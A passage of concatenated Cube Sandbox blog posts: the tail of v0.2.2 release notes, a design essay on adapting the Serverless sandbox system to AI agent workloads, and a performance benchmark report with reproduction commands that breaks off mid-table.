missing the new ID are handled by a migration script — no manual intervention is required when upgrading. 3. **Runtime-file materialization for PVM template ext4 artifacts** ([#282](https://github.com/TencentCloud/CubeSandbox/pull/282)): `RefreshArtifactRuntimeFiles`, `validateArtifactRuntimeFilesPresent`, and `ensureArtifactRuntimeFiles` used to live on three separate code paths whose state could drift. They have been consolidated into a single path that only handles kernel files, with the unit tests rewritten to match. PVM deployments now have a much more predictable template lifecycle. 4. **Configurable command timeout for the storage plugin** ([#236](https://github.com/TencentCloud/CubeSandbox/pull/236)): the 3-second timeout on ext4 operations was hard-coded, which could falsely kill the slow path of large-file `live-create` under concurrency. The plugin's TOML config now accepts a `cmd_timeout` field, so operators can tune it without rebuilding. When the field is absent, behavior is unchanged. 5. **Better diagnostics on storage failures** ([#237](https://github.com/TencentCloud/CubeSandbox/pull/237)): error logs from `newExt4RawByReflinkCopy` are now structured rather than a single-line message, with new unit tests for `describeStorageFailure`, `describeFile`, and `describeFreeBytes`. 6. **Deploy scripts now honor `.env` port placeholders** ([#210](https://github.com/TencentCloud/CubeSandbox/pull/210)): the MySQL/Redis ports in `cubemaster.yaml` are now `__CUBE_SANDBOX_MYSQL_PORT__` and `__CUBE_SANDBOX_REDIS_PORT__` placeholders that `install.sh` substitutes from `.env`. Non-default port deployments no longer require hand-editing the YAML. 7. **Smaller, faster template images**: the quick-start image dropped from ~4 GB to ~100 MB. Download failures and first-launch wait times went down noticeably. Combined with the overseas image registry that came online two weeks ago, the pull experience for users outside mainland China has also improved. ## 3. Security: first batch of CVE fixes for the 0.2 series * **`vmm-sys-util` 0.11.x → 0.12.1**: closes CVE-2023-50711. The previous version's `FamStructWrapper::deserialize` did not check that the header length matched the flexible-array length, which could lead to out-of-bounds memory access from safe Rust. * **`bytes` and `env_logger` upgraded** in the same PR ([#267](https://github.com/TencentCloud/CubeSandbox/pull/267)). * **`time` crate upgrade deferred (CVE-2026-25727)**: the upgrade requires an MSRV bump. After review, we confirmed Cube only uses `time::format_description::well_known::Rfc3339` for outbound timestamp formatting and never calls `Rfc2822` parsing on untrusted input — the affected attack vector is unreachable. We will land the upgrade once the MSRV is ready. ## 4. Phase-1 community contribution program now live Alongside v0.2.2, we have launched the first phase of the Cube Sandbox community contribution program. The repo now has three new doc tracks aimed at community contributors: * **Troubleshooting**: postmortems and tips on deployment, configuration, and error scenarios. * **Use Cases**: end-to-end stories of real-world problems solved with Cube. * **Integrations**: hands-on integration playbooks for combinations like Cube × LangChain / Dify / Claude Code / OpenHands. Each track ships with a template and an index page; contribution instructions live in `CONTRIBUTING.md` at the repo root. We would love your contributions. Once your PR is merged, you become eligible for: an official Cube Sandbox contributor certificate, a permanent name on the website's wall of contributors, early access to upcoming releases, and a piece of limited-edition open-source swag. * Task board: * Full release notes: --- --- url: https://cubesandbox.com/blog/posts/2026-05-22-cube-pvm-on-opencloudos9.md description: >- A community walkthrough on preparing the prerequisite environment — OS choice, kernel version, dependencies — for deploying Cube Sandbox in PVM mode on a standard cloud VM running OpenCloudOS 9. (Article in Simplified Chinese.) --- --- --- url: https://cubesandbox.com/blog/posts/2026-05-22-from-serverless-to-agent.md description: >- How a system originally forged in years of Serverless workloads — high density, high elasticity, high concurrency, strong isolation — extends naturally into the Agent era. This post walks through Cube's core designs (distributed scheduling + node-local bin-packing, resource pooling, frontend/backend decoupling, snapshot restore + lazy load, resource sharing, full-stack lock optimization, native security, and reusing VM resources) and the new capabilities for Agent workloads (low-latency code execution, Agentic RL, image acceleration, snapshot-based branch cloning, event-level snapshot & rollback). --- # From Serverless to Agent: Design Reflections on the Cube System ## 1. Background In 2019, UC Berkeley published "Cloud Programming Simplified: A Berkeley View on Serverless Computing," bringing Serverless into the spotlight. Serverless introduced a few core challenges: 1. **Fine-grained resources**. Unlike a traditional VM, which abstracts a whole machine's worth of resources, Serverless abstracts at the application — or even the function — level. 2. **Sub-second cold start**. Serverless promises pay-per-use, on-demand provisioning. Resources need to be allocated on demand, fast. 3. **Massive concurrency**. "Allocate on demand, destroy after use" means each request maps to a real resource creation behind the scenes — concurrency is easily 1000× higher than traditional VMs. Traditional IaaS is designed for VM workloads. Whether in resource granularity, cold-start speed, or concurrency, it falls far short of what Serverless needs. Tencent Cloud's early approach was to maintain a pre-warmed pool on top of regular VMs — trading cost for experience — but this came with its own problems: high cost (a 0.1C 128M request actually consumed a 1C 1G VM; large amounts of pre-warmed capacity sat idle) and a degraded experience (when the pool was exhausted, requests fell back to raw VM startup latency). Building a system that natively addresses these Serverless challenges was the very motivation for Cube. ## 2. Core Design ### 2.1 Distributed scheduling + node-local bin-packing Scheduling is split into two layers: a centralized distributed scheduler and a per-node bin-packer. Both can scale linearly. Unlike systems with a single centralized scheduler, Cube's distributed scheduling rests on two assumptions: 1. Each resource node is large (a beefy bare-metal box or VM). Combined with Cube's lightweight, high-density design (over 1K sandboxes per node), each node has enough headroom to absorb minor scheduling drift. 2. Serverless workloads tend to be short-lived; the set of sandboxes on any single node is constantly in flux. If node-local bin-packing genuinely cannot fit a request, the scheduler is asked to reschedule as a fallback. ### 2.2 Resource pooling + node-local closure Bin-packing is a node-local, closed-loop operation. Every resource a sandbox needs is pre-prepared and pooled; producing a sandbox is just a matter of pulling pieces out of those pools and assembling them. This both speeds up sandbox startup and reduces concurrent-creation contention within a node, lifting per-node concurrent-creation throughput. ### 2.3 Frontend / backend decoupling The system inside a sandbox is fully stateless; all state lives on the virtualization backend. This enormously simplifies the design of bulk sandbox cloning. ### 2.4 Snapshot restore + lazy load Every Cube sandbox is created by restoring from a template, and the stateless interior makes that easy. During creation, sandbox restoration and backend configuration refresh can run concurrently — the end-to-end delivery of a serviceable sandbox completes in hundreds of milliseconds. Restoring from a snapshot follows a very short logical path, reducing resource and logic contention during concurrent creation; it is a key reason for Cube's high per-node concurrency. Snapshot-based startup also implies lazy EPT page-table population: sandbox memory pages that the snapshot didn't touch are mapped on demand via EPT. **Defer everything that can be deferred until it's actually needed** — this is a recurring theme in Cube's design. For high-IO direct-passthrough scenarios, the industry usually pre-pins all sandbox memory and sets up DMA mappings up front so the hardware can read freely. That hurts startup latency badly, and the hit grows with sandbox memory size. Cube developed a virtio-based PVDMA technique that establishes DMA mappings only when the hardware actually needs to touch the memory — keeping passthrough sandbox startup at the hundred-millisecond level with no meaningful IO impact. ### 2.5 Resource sharing + on-demand allocation **A core design goal of Cube: every read-only piece of state lives only once on a node.** By bridging across the sandbox boundary, all storage that appears "inside" a sandbox is in fact provided by the outside — rootfs, kernel, container images, etc. **For most non-performance-critical scenarios, we even share a single page cache for read-only storage across the whole node.** Sandboxes cloned from the same memory snapshot share that snapshot via mmap, naturally sharing all unmodified pages — kernel text, for example, doesn't change once boot completes, so a whole node's worth of sandboxes can share a single copy of the kernel text. That alone saves 30+ MB per sandbox. Sandboxes cloned from the same disk snapshot share the underlying file via reflink; real disk blocks are allocated only on actual write. From a single-sandbox vantage point, each of these optimizations is small. But Cube is in the business of building a high-density system: at the node level, this saves more than 10% of memory, and in real workloads more than 90% of storage. ### 2.6 Full-stack lock optimization Lots of small optimizations, taken together, are what give Cube its single-node concurrency ceiling and its tail-latency stability under load. ### 2.7 Native security The interior of a sandbox is the untrusted domain — fully handed over to the user. All interactions with sensitive systems and all resource preparation happen outside the sandbox; the inside and outside are isolated by hardware virtualization. Cube developed a high-performance inside-outside communication channel based on `ivshmem`. The networking around a sandbox is constrained by design: every inbound request must traverse CubeProxy and only those matching a forwarding rule are routed in; every outbound request must traverse CubeGW; every byte of network IO traverses the node's CubeVS. There is always a chokepoint on either path — which is exactly what later auditing and network-policy extensions need. ### 2.8 Reusing VM resources Cube uses KVM for isolation, but nested virtualization is too costly to be practical, which is why most lightweight virtualization in the industry runs only on bare metal. That severely limits the resources Cube can run on. To work around this, Cube improved on the community's PVM proposal: PVM provides a complete Linux-kernel virtualization solution based on PV techniques, **does not require hardware virtualization**, doesn't need L0 to assist L1 the way nested virtualization does, and offers a shorter EPT-violation virtualization path. ### 2.9 Summary The design above gave us a virtualization system with high density, high elasticity, and high concurrency: * **High density**: a single 96 vCPU box produces 2K+ sandboxes at 0.1 vCPU / 128 MB. * **High elasticity**: with the image ready, we can produce a serviceable sandbox from zero in 60 ms. * **High concurrency**: a single 96 vCPU box handles sustained bursts of 100 concurrent creation requests with P99 < 200 ms. ## 3. From Serverless to Agent Since last year, AI applications have steadily moved from "conversational" toward "executional." As the code sandbox that runs LLM-generated code, the demands on elasticity and concurrency remain extreme — and security isolation has become a baseline requirement for Agent sandboxes. Everything Cube honed in service of Serverless workloads — concurrency, elasticity, hardened isolation — finds plenty of new homes in Agent scenarios. ### 3.1 Low-latency code execution Agent code-execution scenarios need fast sandbox startup and high concurrency from the substrate. YuanBao of Tencent using AGS (a product built on Cube) for code execution have reported significant experience improvements after migrating. ### 3.2 High-concurrency Agentic RL Coding-RL workloads need to spin up large numbers of sandboxes simultaneously to verify rollouts — placing extreme demands on bulk concurrency. Paired with a high-throughput distributed storage layer, Cube's concurrency advantage becomes very visible in Agentic RL: one major external LLM customer running Cube's commercial counterpart can launch hundreds of thousands of instances within a single minute — industry-leading, and a significant lift to RL training efficiency. ### 3.3 Block-level dedup + on-demand image acceleration Shared distributed storage solves the "huge image set" problem of Agentic RL nicely, but it brings two new ones: 1. Most image content is identical, wasting tons of storage. 2. High-concurrency, short-lived sandbox creation on a single node hammers backend storage with IO. Cube built an image-acceleration system that addresses both: 1. Block-level deduplication, which is far more efficient than traditional layer-level dedup. 2. A three-tier block cache with on-demand loading, easing throughput pressure on the backend. 3. Most images live in low-cost COS storage, slashing cost. ### 3.4 Snapshot-based branch cloning Snapshotting is one of Cube's most important capabilities, and it gains new uses in Agent scenarios — for instance, snapshotting a running sandbox and 1:N cloning it for branch-exploration tasks, or saving a particular task state as the starting point for follow-up tasks. ### 3.5 Security and defense for Agents Once the user of a sandbox stops being a human-written program and becomes an Agent, security and defense become first-class concerns. Agent behavior is probabilistic and not predictable in advance — unlike human-written programs, which can be checked extensively before they ever run, Agents can only be controlled mid-flight or after the fact. That puts higher demands on infra. #### 3.5.1 Security extensions Cube's native sandbox- and network-security capabilities can both be extended further: * The interior of a sandbox is a hardware-isolated OS environment, so any Agent action's blast radius is confined to that sandbox. Kernel-level sensitive-event collection inside the sandbox, paired with the high-performance inside/outside channel, enables auditing of high-risk Agent actions today and admission control of those actions tomorrow. * The inbound path through CubeProxy is a natural extension point for admission policy. The outbound paths through CubeVS and CubeGW are natural extension points for egress policy and sensitive-data injection. #### 3.5.2 Defense: event-level transparent snapshot & rollback (open-sourcing soon) Unpredictable Agent actions can do real damage — for individuals, irrecoverably deleting documents; for enterprises, wiping database content. Even the strictest mid-flight policy can't catch everything. **Event-level snapshot and rollback becomes a critical design when Agents are the user.** For the sandbox, that means we need event-level environment snapshots — covering both writable disk and memory. To meet the demand for high-frequency, user-imperceptible snapshotting, Cube built a CoW storage layer: the index of the block storage is separated from the actual data blocks, so a snapshot is just a copy of the index; real data blocks are CoW-allocated only when an actual write happens. The result: hundred-millisecond, large-scale environment snapshots — a solid foundation for event-level sandbox rollback. This capability shouldn't stop at the sandbox. It should extend across the whole Agent Infra, giving the entire stack a native event-level snapshot-and-rollback ability — strong enough to defend against the unpredictable behavior of Agents. ## 4. Outlook Once the logic running on the system shifts from human-written programs to Agents, a lot changes. The most fundamental shift: the substrate is no longer a logic machine constrained precisely by humans; it is a probabilistic runtime, and the way we interact with it shifts from a fixed protocol to natural language. The Agent's own capability changes as LLM capability evolves, with a constant push and pull. This is a different world, and it is changing fast. The infrastructure carrying this rapidly evolving application form, however, hasn't changed nearly as much. Anthropic's Managed Agent (released on April 9) might be a meaningful starting point: instead of one VM/container hosting an entire Agent, it decouples the Agent into **brain** (decision and execution loop), **hands** (execution environment, tools), and **session** (immutable, replayable persisted data) — with each independent Agent request running in its own dedicated sandbox. The capabilities Cube is building — event-level snapshot & rollback, branch exploration, strong security control — could make a good vehicle for the "brain." The capabilities Cube has matured over the years — extreme cold start, massive concurrency, very high density — could be an excellent fit for the "hands." **We will fully open-source Cube to the industry, in the hope that what we have spent years building can contribute, in some measure, to the development of Agent Infra at large.** --- --- url: https://cubesandbox.com/blog/posts/2026-06-01-cubesandbox-perf-benchmark.md description: >- Performance benchmark data for CubeSandbox on a real bare-metal node, covering sandbox creation from template (cold-start latency, concurrency scaling, single-host density) and Snapshot operations (Snapshot creation, create-from-snapshot, Rollback, Clone). Each section includes the exact commands needed to reproduce the results. --- # CubeSandbox Core Operations Performance Benchmark Report ## 1. Overview CubeSandbox is designed for AI Agent code execution, where ultra-fast cold-start and high concurrency are the two most critical metrics. This post presents performance benchmark data measured on a real bare-metal node, split into two parts: * **Chapter 3: Create sandbox from Template** — cold-start latency, concurrency scaling, single-host deployment density * **Chapter 4: Snapshot operations** — Snapshot creation, create-from-snapshot, Rollback, Clone Every section includes the exact commands needed to reproduce the results on your own hardware. **Important: all benchmark numbers are highly dependent on the test environment and workload.** Contributing factors include (but are not limited to) host CPU, memory, IO performance, and sandbox internal workload (e.g. the more complex the program running inside the sandbox and the more dirty pages generated, the longer snapshot creation takes). Please evaluate against your own hardware and workload when planning deployments. *** ## 2. Test Environment ### 2.1 Hardware | Item | Detail | |------|--------| | Machine | Tencent Cloud [Memory-optimized Bare Metal Instance BMI5](https://cloud.tencent.com/document/product/386/63404) (available for purchase from the Tencent Cloud console) | | OS | OpenCloudOS (TencentOS Server 4) kernel 6.6.119 x86\_64 | | CPU Model | Intel(R) Xeon(R) Platinum 8255C @ 2.50GHz | | CPU Config | 2 Socket × 24 Core × 2 Thread = **96 logical cores** | | NUMA Nodes | 2 (node0: 0-23,48-71 / node1: 24-47,72-95) | | Total Memory | **375 GiB** DDR4-2933 MT/s ECC | | Data Disk | `/dev/nvme0n1` 3.84 TB Intel SSDPE2KX040T8 NVMe SSD, formatted as XFS, mounted at `/data` | > **BMI5** (Memory-optimized Bare Metal Instance 5) is a Tencent Cloud bare-metal instance series designed for large-memory, high-density deployment scenarios. It provides physical-machine-level isolation and performance with zero virtualization overhead, supports nested virtualization, and is particularly well-suited for running large numbers of lightweight VMs like CubeSandbox. To reproduce the tests in this post, visit the [Tencent Cloud Bare Metal purchase page](https://buy.cloud.tencent.com/bm) to select the same model. > To install CubeSandbox, refer to the [Bare Metal Deployment Guide](../../guide/bare-metal-deploy.md). ### 2.2 Sandbox Spec and Template Creation All tests use sandboxes with the following spec: | Item | Detail | |------|--------| | Spec | 2 vCPU / 2 GiB memory | | Test Image | `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest` | | Storage | CoW reflink (XFS, `/data/cubelet/storage/`) | | Memory Tracking | soft-dirty (`/proc/PID/clear_refs`) | Build the template before running any tests (use `cn` registry in China, `int` elsewhere): ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` After the build finishes, note the template ID: ```bash # List templates and grab the first tpl- prefixed ID cubemastercli tpl list ``` ### 2.3 Metric Definitions | Metric | Meaning | |--------|---------| | **avg** | Mean across all rounds | | **min** | Minimum observed | | **p95** | 95th percentile (95% of requests complete within this time) | | **max** | Maximum observed | | **wall** | End-to-end elapsed time for the entire batch (first request sent → last one done); used in concurrency scenarios | | **per** | Amortized per-operation time (wall ÷ number of operations in the batch); used in concurrency scenarios | All times are in **milliseconds (ms)**. A **warm-up** round is run before each scenario (results discarded) to eliminate page-cache cold-read noise. Concurrent test rounds run serially — no cross-round concurrency — to avoid mutual interference. *** ## 3. Create Sandbox from Template This chapter measures the end-to-end time to start a ready-to-use sandbox — calling `POST /sandboxes` (with `template_id`) until the sandbox reaches `running`. This is the most common usage pattern. ### 3.1 Setup and Verification **Step 1: Install the Python SDK and set environment variables** ```bash pip install e2b-code-interpreter export E2B_API_URL=http://:3000 export E2B_API_KEY=e2b_000000 # any non-empty string for local deploys export CUBE_TEMPLATE_ID= # from cubemastercli tpl list export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem # mkcert certificate path ``` **Step 2: Run a Hello World to verify the environment** Before running any benchmarks, run the following script to confirm sandboxes can be created and execute code: ```python import os from e2b_code_interpreter import Sandbox with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox, safely isolated!')") print(result) print("✅ Environment verification passed — ready for benchmarking") ``` Save as `hello.py` and run: ```bash python hello.py ``` If you see `✅ Environment verification passed`, CubeSandbox is deployed correctly and you can proceed. If it errors, refer to the [Quick Start](../../guide/quickstart.md) to troubleshoot. ### 3.2 Cold-Start Latency and Concurrency Scaling Use the [`cube-bench`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench) tool to measure sandbox creation latency at different concurrency levels. `cube-bench` drives CubeAPI via Go goroutines and reports full percentile statistics. **Build (requires Go 1.21+):** ```bash cd examples/cube-bench make # output: ./bin/cube-bench ``` **Run (examples for concurrency 1 and 50):** ```bash # Set environment variables export E2B_API_URL=http://:3000 export E2B_API_KEY=e2b_000000 export CUBE_TEMPLATE_ID= # 1-concurrent, 20 total, create-only (keep sandboxes alive) ./bin/cube-bench -c 1 -n 20 -w 3 -m create-only # 50-concurrent, 500 total ./bin/cube-bench -c 50 -n 500 -w 3 -m create-only # Export JSON report ./bin/cube-bench -c 50 -n 500 -w 3 -m create-only -o report_c50.json ``` > `-w 3` runs 3 warm-up rounds whose results are discarded before measurement. **Results (Tencent Cloud BMI5 bare metal, 2 vCPU / 2 GiB sandbox):** | Concurrency | Requests | avg | min | p95 | max | Per-sandbox amortized | Throughput | |:----:|:------:|----:|----:|----:|----:|----------:|-----:| | 1 | 20 | 47.8 ms | 43.5 ms | 57.4 ms | 60.4 ms | 55.8 ms | 17.9 /s | | 10 | 200 | 88.7 ms | 45.8 ms | 116.9 ms | 119.1 ms | 9.9 ms | 101.4 /s | | 20 | 300 | 98.1 ms | 47.7 ms | 175.8 ms | 232.6 ms | 5.5 ms | 180.9 /s | | 50 | 500 | 276.1 ms | 60.6 ms | 508.4 ms | 681.3 ms | 6.8 ms | 147.6 /s | > "Per-sandbox amortized" = wall time for that tier ÷ request count; "Throughput" is the corresponding sandboxes created per second. Each tier is tested independently — all sandboxes are cleaned up and the resource pool is given time to recover between tiers to avoid interference. **100% success rate** across all tiers. **Key findings:** * Serial creation latency ~**48 ms** (min 43.5 / p95 57.4), consistently sub-100 ms * Concurrency yields significant throughput gains: at 20-concurrent, throughput reaches **180.9 /s**, per-sandbox amortized drops from 55.8 ms (1-concurrent) to 5.5 ms * At 50-concurrent, per-request latency increases with queue depth (p95 508 ms, max 681 ms), but throughput remains at 147.6 /s; for the best latency-throughput tradeoff, 20-concurrent is the throughput sweet spot for this machine ### 3.3 Single-Host Deployment Density (Memory Overhead) CubeSandbox uses kernel sharing and Copy-on-Write (CoW) to compress its per-instance overhead to extremely low levels. This section measures net per-instance cost by "clearing the machine → launching sandboxes in batches → recording memory changes." > ⚠️⚠️⚠️ **Important Safety Warning** > > **Before each batch, always run `free -h` to confirm sufficient remaining memory. Launch only a small batch at a time, observe memory after each batch, and only proceed when safe — never launch too many at once!** Running out of memory triggers OOM Killer, which at minimum kills processes and at worst corrupts the running environment, requiring redeployment. Decide batch sizes based on your machine's actual available memory. **Step 1: Record the baseline (empty machine memory)** ```bash # Set environment variables (same as §3.2; re-export if you open a new terminal) export E2B_API_URL=http://:3000 export E2B_API_KEY=e2b_000000 # any non-empty string for local deploys export CUBE_TEMPLATE_ID= # from cubemastercli tpl list # Ensure no leftover sandboxes (SANDBOX_COUNT should be 0) cubemastercli list # Record empty-machine memory usage free -h # Also record shim process count (should be 0) ps --no-headers -C containerd-shim-cube-rs | wc -l ``` **Step 2: Launch sandboxes in batches, record memory with `free -h` after each batch** Use `cube-bench` in `create-only` mode to create sandboxes and keep them alive. Based on available memory, accumulate to 100 / 300 / 500 / 1000 (adjust to your environment): ```bash # Set environment variables (same as §3.2; re-export if you open a new terminal) export E2B_API_URL=http://:3000 export E2B_API_KEY=e2b_000000 # any non-empty string for local deploys export CUBE_TEMPLATE_ID= # from cubemastercli tpl list # Launch to 100 ./bin/cube-bench -c 50 -n 100 -m create-only free -h # record current memory usage # Launch 200 more (total 300) ./bin/cube-bench -c 50 -n 200 -m create-only free -h # Launch 200 more (total 500) ./bin/cube-bench -c 50 -n 200 -m create-only free -h # If memory permits, launch 500 more (total 1000) ./bin/cube-bench -c 50 -n 500 -m create-only free -h ``` **Step 3: Calculate per-instance overhead** Simply divide the memory increase by the number of sandboxes: ``` Per-VM amortized overhead = (current used - baseline used) ÷ VM count ``` **Results (Tencent Cloud BMI5, 2 vCPU / 2 GiB sandbox, create-only cumulative):** | Live Sandboxes | System Available Memory (free available) | Per-VM Amortized Overhead | |:---------:|:----------------------------:|:-------------:| | 0 (baseline) | 359.5 GiB | — | | 100 | 357.4 GiB | **~21.5 MB** | | 300 | 352.5 GiB | **~23.8 MB** | | 500 | 347.3 GiB | **~25.0 MB** | | 1000 | 334.3 GiB | **~25.7 MB** | > All 1000 sandboxes created successfully with zero rollbacks. Per-VM amortized overhead converges at ~25 MB (slowly increasing from 21 MB to 26 MB with density) — always in the tens-of-MB range. This is the effect of CoW + kernel page sharing: a 2 GiB sandbox does **not** pre-allocate the full 2 GiB at idle — memory is allocated on-demand only when actually written. 1000 sandboxes consume only ~25 GiB, leaving ample headroom from the 375 GiB total. **Scaling up the TAP pre-allocation pool:** The TAP pool target is specified by `tap_init_num` in the cubelet configuration (default **500**). This parameter is now consumed by the **embedded network runtime inside cubelet** to pre-create TAP devices. After modifying it, restart **cubelet** for the change to take effect. The target density must not exceed this value — for example, to benchmark 1000 sandboxes, first set `tap_init_num` to 1000 (or higher). ```bash # 1. Edit cubelet config, increase tap_init_num under [plugins."io.cubelet.internal.v1.network"] vi /usr/local/services/cubetoolbox/Cubelet/config/config.toml # [plugins."io.cubelet.internal.v1.network"] # tap_init_num = 1000 # default 500; set to 1000+ for benchmarking 1000 sandboxes # 2. Restart cubelet so the embedded network runtime pre-creates TAP devices with the new target systemctl restart cube-sandbox-cubelet.service ``` **Estimated single-host capacity (BMI5, 375 GiB memory):** ``` Full-load scenario (each sandbox writes full 2 GiB): 375 GiB ÷ (2 GiB + ~25 MB) ≈ 185 sandboxes Idle/light-load scenario (CoW on-demand allocation): dominated by ~25 MB amortized overhead, can reach thousands; tested stable at 1000 consuming only ~25 GiB ``` *** ## 4. Snapshot Operations Snapshot is a core CubeSandbox feature, supporting memory + filesystem snapshots on running sandboxes that can be restored near-instantly (Clone / Rollback). **Install dependencies:** ```bash cd examples/snapshot-rollback-clone pip install -r requirements.txt # installs the cubesandbox SDK # The following environment variables are prerequisites for all 4.x benchmark scripts; # export in each new shell (or write to env.sh and source it) export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= # from cubemastercli tpl list export CUBE_PROXY_NODE_IP= # use 127.0.0.1 when running on the CubeProxy host export CUBE_PROXY_PORT_HTTP=80 # CubeProxy listen port (default 80) ``` > Sections 4.1–4.5 below assume you have completed the above `export` in your current shell (scripts read these variables via `env.py`). Re-export if you open a new terminal. ### 4.1 Snapshot Creation vs Concurrency **How it works:** calls `POST /sandboxes/{id}/snapshots` on a running sandbox. N concurrent requests target N independent sandboxes simultaneously, measuring wall time until all snapshots complete. > CubeSandbox serializes snapshot requests on a **single sandbox** internally, so the concurrency test targets N distinct sandboxes (one snapshot request per sandbox), and the actual success count equals the concurrency. **Run:** (script: [`bench_snapshot_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_snapshot_concurrency.py)) ```bash cd examples/snapshot-rollback-clone # If this is a new terminal, set environment variables (same as the dependency installation section): export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 # The script provides single-tier mechanism; control concurrency tiers from the command line: python bench_snapshot_concurrency.py -c 1 -n 5 python bench_snapshot_concurrency.py -c 5 -n 5 --no-header python bench_snapshot_concurrency.py -c 10 -n 5 --no-header ``` **Results** (fresh sandboxes snapshotted as-is; measured dirty pages ~**7 MB**, confirmed by `PagemapAnon snapshot saved` in `/data/log/CubeVmm/vmm.log`; this is the sandbox baseline anonymous memory page size and is not a variable in this section): | Concurrency | Rounds | wall avg | wall min | wall p95 | wall max | per-snapshot avg | |:----:|:----:|--------:|--------:|--------:|--------:|----------------:| | 1 | 5 | 49.8 ms | 47.3 ms | 54.1 ms | 54.1 ms | 49.8 ms | | 5 | 5 | 71.0 ms | 62.7 ms | 81.0 ms | 81.0 ms | **14.2 ms** | | 10 | 5 | 127.2 ms | 79.6 ms | 155.6 ms | 155.6 ms | **12.7 ms** | Serial snapshot ~**50 ms**; at 5-concurrent, batch wall ~**71 ms**, per-snapshot amortized drops to ~**14 ms**; at 10-concurrent, batch wall ~**127 ms**, amortized further drops to ~**13 ms** — significant concurrency amortization. ### 4.2 Snapshot Creation vs Dirty Page Size **Background:** CubeSandbox uses the soft-dirty mechanism to save only memory pages modified since the last snapshot. Actual write volume = dirty page count × 4 KiB, typically far less than total sandbox memory (2 GiB). The test precisely controls dirty page size by pre-writing data to `/dev/shm` (tmpfs). The "Dirty Page" column shows actual bytes written as read from `/data/log/CubeVmm/vmm.log` — it differs from the theoretical write size due to Guest OS background activity. **Run:** (script: [`bench_snapshot_dirty.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_snapshot_dirty.py)) ```bash cd examples/snapshot-rollback-clone # If this is a new terminal, set environment variables (same as the dependency installation section): export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 # The script provides single-tier mechanism; control dirty page size from the command line (-d = write size in MB): python bench_snapshot_dirty.py -d 0 -n 3 python bench_snapshot_dirty.py -d 10 -n 3 --no-header python bench_snapshot_dirty.py -d 50 -n 3 --no-header python bench_snapshot_dirty.py -d 100 -n 3 --no-header python bench_snapshot_dirty.py -d 200 -n 3 --no-header python bench_snapshot_dirty.py -d 500 -n 3 --no-header python bench_snapshot_dirty.py -d 800 -n 3 --no-header python bench_snapshot_dirty.py -d 1024 -n 3 --no-header ``` > Tests run in serial mode; one warm-up is discarded before each data point, then 3 measured runs are averaged. The "create sandbox avg" column shows the time to create a new sandbox from that snapshot, reflecting whether dirty page size affects restore speed. **Results:** | Write Size | Dirty Page | snapshot avg | snapshot min | snapshot p95 | snapshot max | create sandbox avg | create sandbox min | create sandbox p95 | create sandbox max | |:------:|----------:|------------:|------------:|------------:|------------:|------------------:|------------------:|------------------:|------------------:| | 0 MB | 7.1 MB | 45.7 ms | 43.9 ms | 47.4 ms | 47.4 ms | 64.8 ms | 61.5 ms | 68.6 ms | 68.6 ms | | 10 MB | 38.9 MB | 75.7 ms | 73.2 ms | 79.2 ms | 79.2 ms | 60.7 ms | 57.3 ms | 66.1 ms | 66.1 ms | | 50 MB | 120.7 MB | 107.7 ms | 104.8 ms | 112.3 ms | 112.3 ms | 64.4 ms | 60.4 ms | 70.6 ms | 70.6 ms | | 100 MB | 195.0 MB | 138.6 ms | 136.7 ms | 139.9 ms | 139.9 ms | 66.5 ms | 60.9 ms | 71.1 ms | 71.1 ms | | 200 MB | 296.7 MB | 174.2 ms | 173.1 ms | 176.2 ms | 176.2 ms | 63.7 ms | 60.6 ms | 66.8 ms | 66.8 ms | | 500 MB | 602.5 MB | 289.4 ms | 285.0 ms | 293.1 ms | 293.1 ms | 64.0 ms | 61.6 ms | 66.5 ms | 66.5 ms | | 800 MB | 908.4 MB | 392.8 ms | 392.1 ms | 394.1 ms | 394.1 ms | 60.9 ms | 54.6 ms | 65.8 ms | 65.8 ms | | 1024 MB | 1136.4 MB | 486.9 ms | 471.5 ms | 510.8 ms | 510.8 ms | 68.4 ms | 58.9 ms | 84.6 ms | 84.6 ms | **Key findings:** * **Snapshot creation time scales near-linearly with dirty page size**: baseline (7 MB dirty) ~47 ms, +~40 ms per 100 MB of additional dirty data, ~487 ms at 1024 MB * **Create-from-snapshot time is independent of dirty page size**: stable at **60–85 ms** regardless of snapshot size, because restore uses CoW (copy-on-write) on-demand loading and does not depend on dirty page size ### 4.3 Create Sandbox from Snapshot **How it works:** creates a snapshot first, then launches N sandboxes concurrently via `POST /sandboxes` (with `snapshot_id`), measuring end-to-end wall time until all sandboxes reach `running`. **Run:** (script: [`bench_create_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_create_concurrency.py)) ```bash cd examples/snapshot-rollback-clone # If this is a new terminal, set environment variables (same as the dependency installation section): export CUBE_API_URL=http://:3000 export CUBE_TEMPLATE_ID= export CUBE_PROXY_NODE_IP= export CUBE_PROXY_PORT_HTTP=80 # The script provides single-tier mechanism; control concurrency from the command line: python bench_create_concurrency.py -c 1 -n 3 python bench_create_concurrency.py -c 10 -n 3 --no-header python bench_create_concurrency.py -c 20 -n 3 --no-header python bench_create_concurrency.py -c 50 -n 3 --no-header ``` **Results:** | Concurrency | n total | Rounds | wall avg | wall min | wall p95 | wall max | per-sandbox avg | |:----:|:------:|:----:|--------:|--------:|--------:|--------:|----------------:| | 1 | 1 | 3 | 63.9 ms | 62.5 ms | 66.1 ms | 66.1 ms | 63.9 ms | | 10 | 10 | 3 | 89.9 ms | 84.0 ms | 93.6 ms | 93.6 ms | **9.0 ms** | | 20 | 20 | 3 | 118.9 ms | 92.7 ms | 167.1 ms | 167.1 ms | **5.9 ms** | | 50 | 50 | 3 | 180.3 ms | 135.1 ms | 260.7 ms | 